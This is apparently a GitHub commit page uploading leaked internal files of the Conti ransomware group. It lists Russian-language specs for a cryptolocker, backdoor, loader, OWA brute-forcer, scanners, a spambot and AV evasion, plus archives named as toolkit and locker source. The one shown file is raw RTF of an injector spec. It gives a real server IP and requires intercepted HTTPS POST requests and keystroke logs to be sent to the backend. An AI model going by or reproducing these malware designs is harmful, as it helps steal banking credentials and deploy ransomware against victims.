Browse Source

Add files via upload

main
MalwareLeaks 3 years ago
committed by GitHub
parent
commit
80bf91c43f
No known key found for this signature in database GPG Key ID: 4AEE18F83AFDEB23
  1. 2341
      Conti Documentation Leak/docs/bot/cs2 proto.rtf
  2. BIN
      Conti Documentation Leak/docs/bot/doc-lero.docx
  3. 344
      Conti Documentation Leak/docs/injector/Logs60.rtf
  4. 111
      Conti Documentation Leak/docs/injector/inj.rtf
  5. 411
      Conti Documentation Leak/docs/injector/module.rtf
  6. 41
      Conti Documentation Leak/docs/management/Учет задач.txt
  7. 193
      Conti Documentation Leak/docs/management/наставление разработчику.txt
  8. 58
      Conti Documentation Leak/docs/management/наставление техническому руководителю.txt
  9. 242
      Conti Documentation Leak/docs/management/оформление кода и сборок.txt
  10. 13
      Conti Documentation Leak/docs/management/правила оформления отчетов об ошибках.txt
  11. 100
      Conti Documentation Leak/docs/management/техника безопасности.txt
  12. 14
      Conti Documentation Leak/docs/management/чистка АВ.txt
  13. 48
      Conti Documentation Leak/docs/misc/tor.txt
  14. 89
      Conti Documentation Leak/docs/misc/ТЗ автоматизация группового тестирования в криптопанели.txt
  15. 211
      Conti Documentation Leak/docs/misc/ТЗ автоматизация тестирования инжектора.txt
  16. 239
      Conti Documentation Leak/docs/misc/ТЗ автоматизация тестирования криптов.txt
  17. 28
      Conti Documentation Leak/docs/misc/ТЗ проверка инжектора.txt
  18. 34
      Conti Documentation Leak/docs/misc/ТЗ регалка почтовых учеток.txt
  19. 132
      Conti Documentation Leak/docs/misc/ТЗ статус проверки в криптопанели.txt
  20. 69
      Conti Documentation Leak/docs/misc/тз граб паролей DPOST.txt
  21. 396
      Conti Documentation Leak/docs/modules/backdoor руководство оператора.txt
  22. 258
      Conti Documentation Leak/docs/modules/module_HOWTO.txt
  23. 202
      Conti Documentation Leak/docs/modules/ТЗ VPN-клиент и админка.txt
  24. 209
      Conti Documentation Leak/docs/modules/ТЗ автоматизация чистки.txt
  25. 221
      Conti Documentation Leak/docs/modules/ТЗ админка сканеров.txt
  26. 290
      Conti Documentation Leak/docs/modules/ТЗ брут OWA.txt
  27. 658
      Conti Documentation Leak/docs/modules/ТЗ бэкдор.txt
  28. 321
      Conti Documentation Leak/docs/modules/ТЗ дамп пользователей Windows и AD.txt
  29. 85
      Conti Documentation Leak/docs/modules/ТЗ доработка модуля распространения.txt
  30. 76
      Conti Documentation Leak/docs/modules/ТЗ криптер.txt
  31. 574
      Conti Documentation Leak/docs/modules/ТЗ криптолокер.txt
  32. 102
      Conti Documentation Leak/docs/modules/ТЗ модуль граб cookies.txt
  33. 139
      Conti Documentation Leak/docs/modules/ТЗ модуль и мост VPN.txt
  34. 204
      Conti Documentation Leak/docs/modules/ТЗ модуль поиска файлов и папок по совпадению.txt0000644
  35. 135
      Conti Documentation Leak/docs/modules/ТЗ поиск файлов на серверах.txt
  36. 147
      Conti Documentation Leak/docs/modules/ТЗ поиск файлов по ключевым словам.txt
  37. 52
      Conti Documentation Leak/docs/modules/ТЗ полиморфный процессор Asm.txt
  38. 108
      Conti Documentation Leak/docs/modules/ТЗ портирование masscan.txt
  39. 238
      Conti Documentation Leak/docs/modules/ТЗ простой криптолокер.txt
  40. 237
      Conti Documentation Leak/docs/modules/ТЗ резидентный загрузчик.txt
  41. 286
      Conti Documentation Leak/docs/modules/ТЗ сканер rdp.txt
  42. 353
      Conti Documentation Leak/docs/modules/ТЗ сканер sql инъекций2.txt
  43. 76
      Conti Documentation Leak/docs/modules/ТЗ сканер локальной сети.txt
  44. 33
      Conti Documentation Leak/docs/modules/ТЗ сканер принтеров.txt
  45. 271
      Conti Documentation Leak/docs/modules/ТЗ спамбот.txt
  46. 63
      Conti Documentation Leak/docs/modules/бк активация.txt
  47. 102
      Conti Documentation Leak/docs/modules/ежедневные крипты.txt
  48. 117
      Conti Documentation Leak/docs/modules/легковесный модульный бот.txt
  49. 98
      Conti Documentation Leak/docs/modules/план тестирования бк.txt
  50. 80
      Conti Documentation Leak/docs/modules/руководство к Superbrowser.txt
  51. 113
      Conti Documentation Leak/docs/modules/руководство оператора криптопанели.txt
  52. 108
      Conti Documentation Leak/docs/modules/сканер apache tomcat.txt
  53. 145
      Conti Documentation Leak/docs/modules/тз backconnect-сервер.txt
  54. 64
      Conti Documentation Leak/docs/modules/требования к боту.txt
  55. 301
      Conti Documentation Leak/docs/modules/требования к лоадеру.txt
  56. 1380
      Conti Documentation Leak/docs/быстрый старт исследователя.txt
  57. 368
      Conti Documentation Leak/docs/быстрый старт хакера.txt
  58. 59
      Conti Documentation Leak/docs/дух старой школы.txt
  59. 224
      Conti Documentation Leak/docs/скоростные вычисления.txt
  60. BIN
      Conti Internal Software Leak.rar
  61. BIN
      Conti Toolkit Leak.part1.rar
  62. BIN
      Conti Toolkit Leak.part2.rar
  63. BIN
      Conti Toolkit Leak.part3.rar
  64. BIN
      Conti Toolkit Leak.part4.rar
  65. BIN
      Conti Toolkit Leak.part5.rar
  66. BIN
      conti_locker_full_source.rar

2341
Conti Documentation Leak/docs/bot/cs2 proto.rtf
File diff suppressed because it is too large
View File

BIN
Conti Documentation Leak/docs/bot/doc-lero.docx

344
Conti Documentation Leak/docs/injector/Logs60.rtf

@ -0,0 +1,344 @@
{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\f2\fbidi \fmodern\fcharset204\fprq1{\*\panose 02070309020205020404}Courier New;}{\f2\fbidi \fmodern\fcharset204\fprq1{\*\panose 02070309020205020404}Courier New;}{\f37\fbidi \fswiss\fcharset204\fprq2{\*\panose 020f0502020204030204}Calibri;}
{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\*\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\fhiminor\f31506\fbidi \fswiss\fcharset204\fprq2{\*\panose 020f0502020204030204}Calibri;}{\fbiminor\f31507\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f41\fbidi \froman\fcharset0\fprq2 Times New Roman;}
{\f39\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\f42\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\f43\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\f44\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}
{\f45\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f46\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\f47\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\f61\fbidi \fmodern\fcharset0\fprq1 Courier New;}
{\f59\fbidi \fmodern\fcharset238\fprq1 Courier New CE;}{\f62\fbidi \fmodern\fcharset161\fprq1 Courier New Greek;}{\f63\fbidi \fmodern\fcharset162\fprq1 Courier New Tur;}{\f64\fbidi \fmodern\fcharset177\fprq1 Courier New (Hebrew);}
{\f65\fbidi \fmodern\fcharset178\fprq1 Courier New (Arabic);}{\f66\fbidi \fmodern\fcharset186\fprq1 Courier New Baltic;}{\f67\fbidi \fmodern\fcharset163\fprq1 Courier New (Vietnamese);}{\f61\fbidi \fmodern\fcharset0\fprq1 Courier New;}
{\f59\fbidi \fmodern\fcharset238\fprq1 Courier New CE;}{\f62\fbidi \fmodern\fcharset161\fprq1 Courier New Greek;}{\f63\fbidi \fmodern\fcharset162\fprq1 Courier New Tur;}{\f64\fbidi \fmodern\fcharset177\fprq1 Courier New (Hebrew);}
{\f65\fbidi \fmodern\fcharset178\fprq1 Courier New (Arabic);}{\f66\fbidi \fmodern\fcharset186\fprq1 Courier New Baltic;}{\f67\fbidi \fmodern\fcharset163\fprq1 Courier New (Vietnamese);}{\f411\fbidi \fswiss\fcharset0\fprq2 Calibri;}
{\f409\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\f412\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\f413\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}{\f416\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}
{\f417\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese);}{\flomajor\f31510\fbidi \froman\fcharset0\fprq2 Times New Roman;}{\flomajor\f31508\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}
{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}
{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}
{\fdbmajor\f31520\fbidi \froman\fcharset0\fprq2 Times New Roman;}{\fdbmajor\f31518\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fdbmajor\f31521\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}
{\fdbmajor\f31522\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fdbmajor\f31523\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fdbmajor\f31524\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}
{\fdbmajor\f31525\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fdbmajor\f31526\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fhimajor\f31530\fbidi \fswiss\fcharset0\fprq2 Calibri Light;}
{\fhimajor\f31528\fbidi \fswiss\fcharset238\fprq2 Calibri Light CE;}{\fhimajor\f31531\fbidi \fswiss\fcharset161\fprq2 Calibri Light Greek;}{\fhimajor\f31532\fbidi \fswiss\fcharset162\fprq2 Calibri Light Tur;}
{\fhimajor\f31535\fbidi \fswiss\fcharset186\fprq2 Calibri Light Baltic;}{\fhimajor\f31536\fbidi \fswiss\fcharset163\fprq2 Calibri Light (Vietnamese);}{\fbimajor\f31540\fbidi \froman\fcharset0\fprq2 Times New Roman;}
{\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}
{\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}
{\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\flominor\f31550\fbidi \froman\fcharset0\fprq2 Times New Roman;}{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}
{\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\flominor\f31552\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flominor\f31553\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}
{\flominor\f31554\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}
{\fdbminor\f31560\fbidi \froman\fcharset0\fprq2 Times New Roman;}{\fdbminor\f31558\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fdbminor\f31561\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}
{\fdbminor\f31562\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fdbminor\f31563\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fdbminor\f31564\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}
{\fdbminor\f31565\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fdbminor\f31566\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fhiminor\f31570\fbidi \fswiss\fcharset0\fprq2 Calibri;}
{\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}
{\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\fhiminor\f31576\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese);}{\fbiminor\f31580\fbidi \froman\fcharset0\fprq2 Times New Roman;}
{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}
{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}
{\fbiminor\f31586\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}}{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;
\red255\green255\blue255;\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0;\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;}{\*\defchp
\fs22\loch\af31506\hich\af31506\dbch\af31505 }{\*\defpap \ql \li0\ri0\sa160\sl259\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 }\noqfpromote {\stylesheet{\ql \li0\ri0\sa160\sl259\slmult1
\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs22\alang1025 \ltrch\fcs0 \fs22\lang1049\langfe1049\loch\f31506\hich\af31506\dbch\af31505\cgrid\langnp1049\langfenp1049 \snext0 \sqformat \spriority0 Normal;}{\*
\cs10 \additive \ssemihidden \sunhideused \spriority1 Default Paragraph Font;}{\*
\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\trcbpat1\trcfpat1\tblind0\tblindtype3\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv \ql \li0\ri0\sa160\sl259\slmult1
\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs22\alang1025 \ltrch\fcs0 \fs22\lang1049\langfe1049\loch\f31506\hich\af31506\dbch\af31505\cgrid\langnp1049\langfenp1049 \snext11 \ssemihidden \sunhideused
Normal Table;}{\s15\ql \li0\ri0\sb100\sa100\sbauto1\saauto1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0
\fs24\lang1049\langfe1049\loch\f0\hich\af0\dbch\af31505\cgrid\langnp1049\langfenp1049 \sbasedon0 \snext15 \sunhideused \styrsid4409994 Normal (Web);}}{\*\pgptbl {\pgp\ipgp0\itap0\li0\ri0\sb0\sa0}{\pgp\ipgp0\itap0\li0\ri0\sb0\sa0}{\pgp\ipgp0\itap0\li0\ri0
\sb0\sa0}{\pgp\ipgp0\itap0\li0\ri0\sb0\sa0}{\pgp\ipgp0\itap0\li0\ri0\sb0\sa0}}{\*\rsidtbl \rsid4194611\rsid4409994\rsid9506915\rsid16122061}{\mmathPr\mmathFont34\mbrkBin0\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440
\mintLim0\mnaryLim1}{\info{\operator fonin}{\creatim\yr2016\mo8\dy19\hr16\min49}{\revtim\yr2016\mo9\dy21\hr17\min30}{\version4}{\edmins201}{\nofpages2}{\nofwords532}{\nofchars3035}{\nofcharsws3560}{\vern57435}}{\*\xmlnstbl {\xmlns1 http://schemas.microsof
t.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1701\margr850\margt1134\margb1134\gutter0\ltrsect
\widowctrl\ftnbj\aenddoc\trackmoves0\trackformatting1\donotembedsysfont0\relyonvml0\donotembedlingdata1\grfdocevents0\validatexml0\showplaceholdtext0\ignoremixedcontent0\saveinvalidxml0\showxmlerrors0\horzdoc\dghspace120\dgvspace120\dghorigin1701
\dgvorigin1984\dghshow0\dgvshow3\jcompress\viewkind1\viewscale100\rsidroot4409994 \nouicompat \fet0{\*\wgrffmtfilter 2450}\nofeaturethrottle1\ilfomacatclnup0\ltrpar \sectd \ltrsect\linex0\sectdefaultcl\sftnbj {\*\pnseclvl1
\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5
\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang
{\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}\pard\plain \ltrpar\s15\ql \li0\ri0\sb100\sa100\sbauto1\saauto1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid9506915
\rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1049\langfe1049\loch\af0\hich\af0\dbch\af31505\cgrid\langnp1049\langfenp1049 {\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid9506915 \loch\af37\dbch\af31505\hich\f37 \'d2
\loch\af37\dbch\af31505\hich\f37 \'e5\'f1\'f2\'ee\'e2\'fb\'e9\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f1\'e5\'f0\'e2\'e5\'f0\loch\f37 }{\rtlch\fcs1 \af0 \ltrch\fcs0 \dbch\af0\insrsid9506915\charrsid9506915 188.138.1.53:8082
\par }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\nowidctlpar\wrapdefault\faauto\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs22\alang1025 \ltrch\fcs0 \fs22\lang1049\langfe1049\loch\af31506\hich\af31506\dbch\af31505\cgrid\langnp1049\langfenp1049 {\rtlch\fcs1
\ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611
\par }\pard\plain \ltrpar\s15\ql \li0\ri0\sb100\sa100\sbauto1\saauto1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16122061 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0
\fs24\lang1049\langfe1049\loch\af0\hich\af0\dbch\af31505\cgrid\langnp1049\langfenp1049 {\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 1 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611
\loch\af37\dbch\af31505\hich\f37 \'ca\'eb\'e8\'e5\'ed\'f2\'f1\'ea\'e0\'ff\loch\f37 \hich\f37 \'f7\'e0\'f1\'f2\'fc\loch\f37 \hich\f37 \'e4\'ee\'eb\'e6\'ed\'e0\loch\f37 \hich\f37 \'ee\'f2\'ef\'f0\'e0\'e2\'eb\'ff\'f2\'fc\loch\f37 \hich\f37 \'ea\'e0\'e6
\'e4\'fb\'e9\loch\f37 \hich\f37 \'ef\'e5\'f0\'e5\'f5\'e2\'e0\'f7\'e5\'ed\'ed\'fb\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 POST}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid4194611\charrsid4409994 -}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'e7\'e0\'ef\'f0\'ee\'f1\loch\f37 \hich\f37 , \'ea\'ee\'f2\'ee\'f0\'fb\'e9\loch\f37 \hich\f37 \'e1\'fb\'eb\loch\f37 \hich\f37 \'ee
\'f2\'ef\'f0\'e0\'e2\'eb\'e5\'ed\loch\f37 \hich\f37 \'e1\'f0\'e0\'f3\'e7\'e5\'f0\'ee\'ec\loch\f37 \hich\f37 \'ef\'ee\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 SSL}{
\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 /}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 TLS}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 \hich\f37 . \'cf\'ee\'ec\'e8\'ec\'ee\loch\f37 \hich\f37 \'ef\'ee\'eb\'ed\'ee\'e3\'ee\loch\f37 \hich\f37 \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'ec\'ee\'e3\'ee\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 POST}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 -}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'e7\'e0\'ef
\'f0\'ee\'f1\'e0\loch\f37 \hich\f37 (\'f1\loch\f37 \hich\f37 \'f5\'e8\'e4\'e5\'f0\'e0\'ec\'e8\loch\f37 \hich\f37 ), \'ee\'ed\loch\f37 \hich\f37 \'e4\'ee\'eb\'e6\'e5\'ed\loch\f37 \hich\f37 \'f1\'eb\loch\af37\dbch\af31505\hich\f37 \'e0\'f2\'fc\loch\f37
\hich\f37 \'e4\'ee\'ef\'ee\'eb\'ed\'e8\'f2\'e5\'eb\'fc\'ed\'ee\loch\f37 \hich\f37 \'ef\'ee\'eb\'ed\'f3\'fe\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 URL}{\rtlch\fcs1
\af37 \ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 \hich\f37 \'e7\'e0\'ef\'f0\'ee\'f1\'e0\loch\f37 \hich\f37 \'e8\loch\f37 \hich\f37 \'eb\'ee\'e3\loch\f37 \hich\f37 \'ed\'e0\'e6\'e0\'f2\'e8\'e9\loch\f37 \hich\f37 \'ea\'eb\'e0\'e2
\'e8\'f8\loch\f37 . }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid16122061 \loch\af37\dbch\af31505\hich\f37 \'c2\loch\f37 \hich\f37 \'f1\'eb\'f3\'f7\'e0\'e5\loch\f37 }{\rtlch\fcs1 \af0 \ltrch\fcs0 \dbch\af0\insrsid16122061\charrsid16122061 \'e5\'f1\'eb
\'e8\~post\~\'ed\'e5\~\'ef\'ee\'e4\'ee\'f8\'e5\'eb\~\'ef\'ee\~\'ef\'f0\'e0\'e2\'e8\'eb\'e0\'ec\~\'e8\'eb\'e8\~\'e1\'e5\'ea\'e5\'ed\'e4\~\'e0\'e4\'ec\'e8\'ed\'ea\'e8\~\'e2\'f0\'e5\'ec\'e5\'ed\'ed\'ee\~\'e2\'fb\'ea\'eb\'fe\'f7\'e8\'eb\~\'e8\'ed\'e6\'e5\'ea
\'f2\~\'ef\'ee\~\'e4\'e0\'ed\'ed\'ee\'e9\~\'f1\'f1\'fb\'eb\'ea\'e5
\par }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\nowidctlpar\wrapdefault\faauto\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs22\alang1025 \ltrch\fcs0 \fs22\lang1049\langfe1049\loch\af31506\hich\af31506\dbch\af31505\cgrid\langnp1049\langfenp1049 {\rtlch\fcs1
\af37 \ltrch\fcs0 \f37\insrsid4194611
\par \loch\af37\dbch\af31505\hich\f37 \'cf\'ee\'eb\'ed\'fb\'e9\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 URL}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994
\hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'e8\'e7\'e2\'eb\'e5\'ea\'e0\'e5\'f2\'f1\'ff\loch\f37 \hich\f37 \'e8\'e7\loch\f37 \hich\f37 \'f1\'e0\'ec\'ee\'e3\'ee\loch\f37
\hich\f37 \'e7\'e0\'ef\'f0\'ee\'f1\'e0\loch\f37 \hich\f37 \'ef\'f3\'f2\'b8\'ec\loch\f37 \hich\f37 \'f1\'ea\'eb\'e5\'e8\'e2\'e0\'ed\'e8\'ff\loch\f37 \hich\f37 \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'ec\'ee\'e3\'ee\loch\f37 \hich\f37 \'f5\'e8\'e4\'e5\'f0\'e0
\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 Host}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37
\ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'e8\loch\f37 \hich\f37 \'e8\'ec\'e5\'ed\'e8\loch\f37 \hich\f37 \'e4\'ee\'ea\loch\af37\dbch\af31505\hich\f37 \'f3\'ec\'e5\'ed\'f2\'e0\loch\f37 (}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 URI}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 \hich\f37 ). \'d1\'ef\'e5\'f0\'e5\'e4\'e8\loch\f37 \hich\f37 \'ed\'e5\loch\f37
\hich\f37 \'ed\'f3\'e6\'e5\'ed\loch\f37 \hich\f37 \'ef\'f0\'e5\'f4\'e8\'ea\'f1\loch\f37 "}{\field{\*\fldinst {\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 HYPERLINK}{\rtlch\fcs1
\af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 https}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 :// }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4409994 {\*\datafield
00d0c9ea79f9bace118c8200aa004ba90b0200000003000000e0c9ea79f9bace118c8200aa004ba90b2c000000680074007400700073003a002f002f002f000000795881f43b1d7f48af2c825dc485276300000000a5ab00005bfc}}}{\fldrslt {\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 https}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 ://}}}\sectd \ltrsect\linex0\sectdefaultcl\sftnbj {\rtlch\fcs1
\af37 \ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 "
